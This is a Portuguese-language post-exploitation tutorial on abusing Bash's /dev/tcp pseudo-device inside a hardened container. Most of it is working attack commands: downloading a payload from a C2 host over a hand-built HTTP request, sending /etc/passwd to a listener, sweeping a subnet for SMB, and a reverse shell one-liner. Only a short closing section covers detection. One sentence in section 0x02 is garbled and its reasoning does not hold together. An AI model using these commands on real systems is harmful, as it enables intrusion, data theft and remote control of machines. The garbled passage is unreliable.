RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration
RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration
[ 0x00 ] A RESTRIÇÃO DO AMBIENTE DE EXECUÇÃO (LFI/RCE)
Considere o cenário típico de pós-exploração: a obtenção bem-sucedida de Execução Remota de Código (RCE) em uma aplicação web rodando sob um container Docker. Ao tentar baixar payloads de segundo estágio ou ferramentas adicionais de pós-exploração, o operador se depara com a ausência de utilitários de transferência comuns:
$ wget http://c2-server.local/payload.sh
bash: wget: command not found
$ curl http://c2-server.local/payload.sh
bash: curl: command not found
$ nc
bash: nc: command not found
Esse endurecimento (hardening) básico do container visa reduzir a superfície de ataque ao expurgar binários de rede clássicos. No entanto, se o interpretador Bash estiver instalado e ativo, é possível explorar recursos nativos do próprio shell para criar conexões de rede e transferir dados arbitrários.
[ 0x01 ] O PSEUDO-DISPOSITIVO /dev/tcp DO BASH
O pseudo-caminho /dev/tcp/ não corresponde a um arquivo especial de caractere ou bloco no VFS do Linux (ao contrário de /dev/null ou /dev/urandom). Trata-se de uma funcionalidade interna compilada diretamente no código-fonte do Bash (ativada por padrão na maioria das distribuições Linux via flag de compilação --enable-net-redirections).
Ao redirecionar entrada ou saída para o caminho padrão /dev/tcp/<HOST>/<PORT>, o Bash intercepta a chamada de abertura de arquivo e, internamente, realiza a resolução DNS e instancia um socket de rede TCP nativo por meio das chamadas de sistema socket e connect do Linux.
Nota Crítica de Compatibilidade: Esta funcionalidade é estritamente vinculada ao interpretador Bash (e KornShell). Ele não funciona no interpretador ash do BusyBox (que equipa por padrão imagens minimalistas como o Alpine Linux) nem no dash (shell padrão em instalações Debian e Ubuntu). Nestes ambientes, tentar utilizar /dev/tcp resultará em um erro de arquivo inexistente.
Abaixo, demonstra-se a construção de um port scanner minimalista em puro Bash utilizando o pseudo-dispositivo sob a verificação de timeout do sistema:
# Testa se a porta 80 está aberta no host 10.0.0.5 com timeout de 1 segundo
if timeout 1 bash -c '</dev/tcp/10.0.0.5/80' &>/dev/null; then
echo "[+] Porta 80/TCP aberta."
else
echo "[-] Porta 80/TCP fechada ou filtrada."
fi
[ 0x02 ] CONSTRUÇÃO DE REQUISIÇÕES HTTP NA MÃO
Sem o utilitário curl, o operador pode usar descritores de arquivo customizados do Bash (exec <número>[<>]) para abrir conexões bidirecionais (leitura/escrita) e forjar cabeçalhos HTTP brutos que sigam as especificações RFC 7230:
# 1. Aloca o descritor de arquivo 3 para conexão bidirecional com o host C2
exec 3<>/dev/tcp/c2-server.local/80
# 2. Envia a requisição HTTP/1.1 em conformidade com o protocolo (requer terminação CRLF -
)
echo -e "GET /payload.sh HTTP/1.1\r\nHost: c2-server.local\r\nConnection: close\r\n\r\n" >&3
# 3. Lê a resposta do stream de rede e a redireciona para um arquivo local
cat <&3 > payload.sh
Essa técnica evita a invocação de novos processos, pois todas as etapas de roteamento de pacotes ocorrem dentro do próprio processo do interpretador Bash ativo, uma vez que a leitura direta via cat consumiria também os cabeçalhos HTTP da resposta, corrompendo scripts executáveis caso não fossem previamente descartados no loop de leitura do socket.
[ 0x03 ] EXFILTRAÇÃO STEALTH E PING SWEEPS SEM ICMP
Para exfiltração rápida de dados, pode-se ler o conteúdo de arquivos e redirecionar a saída direto para o descritor de rede:
# No servidor C2 (escutando via netcat clássico)
nc -lvnp 4444
# Na máquina comprometida (exfiltração direta)
cat /etc/passwd > /dev/tcp/c2-server.local/4444
Se o protocolo ICMP estiver bloqueado na rede interna pelo firewall impedindo o mapeamento de hosts via comandos como ping, pode-se realizar varreduras paralelas assíncronas utilizando a lógica do Bash em background (&):
# Varredura assíncrona na sub-rede /24 procurando pela porta 445 (SMB)
for ip in {1..254}; do
timeout 0.2 bash -c "</dev/tcp/10.0.0.$ip/445" &>/dev/null && echo "[+] Host 10.0.0.$ip ativo (SMB)" &
done
wait
[ 0x04 ] O RETORNO: REVERSE SHELLS INTERATIVOS
O uso mais comum da funcionalidade reside no spawning de reverse shells interativos sem a dependência de linguagens de script adicionais (como Python ou Perl):
bash -i >& /dev/tcp/c2-server.local/9001 0>&1
O comando acima inicializa uma instância interativa do Bash (-i), redireciona a saída padrão (stdout via >) e a saída de erro padrão (stderr via &) para o socket de rede conectado ao C2. Por fim, a entrada padrão (stdin via 0>&1) é duplicada da saída de rede, permitindo o recebimento de comandos.
[ 0x05 ] PERSPECTIVA DE TELEMETRIA E VETORES DE DETECÇÃO (BLUE TEAM)
A alegação comum de que essa técnica é totalmente invisível baseia-se na ausência de novos artefatos em disco ou logs de novos processos executados. No entanto, ela é altamente visível sob outras perspectivas de segurança:
- Monitoramento de Conexões de Shell (EDR/SIEM): Interpretadores de comando (como
bash,sh,zsh) realizando chamadas de sistemaconnectdiretamente para a rede externa é um comportamento altamente suspeito. Regras heurísticas de EDR alertam imediatamente sobre conexões de rede originadas de interpretadores de sistema. - Volume de Syscalls: A execução de loops de scan gera dezenas de syscalls
connectsequenciais a partir do PID do Bash em curto intervalo de tempo, comportamento que dispara alertas comportamentais imediatos. - Logs de Transição de Estado: Ferramentas que monitoram tabelas de sockets ativos (como
netstat,ssou logs de conexões locais) revelarão conexões TCP estabelecidas associadas ao PID do interpretador Bash.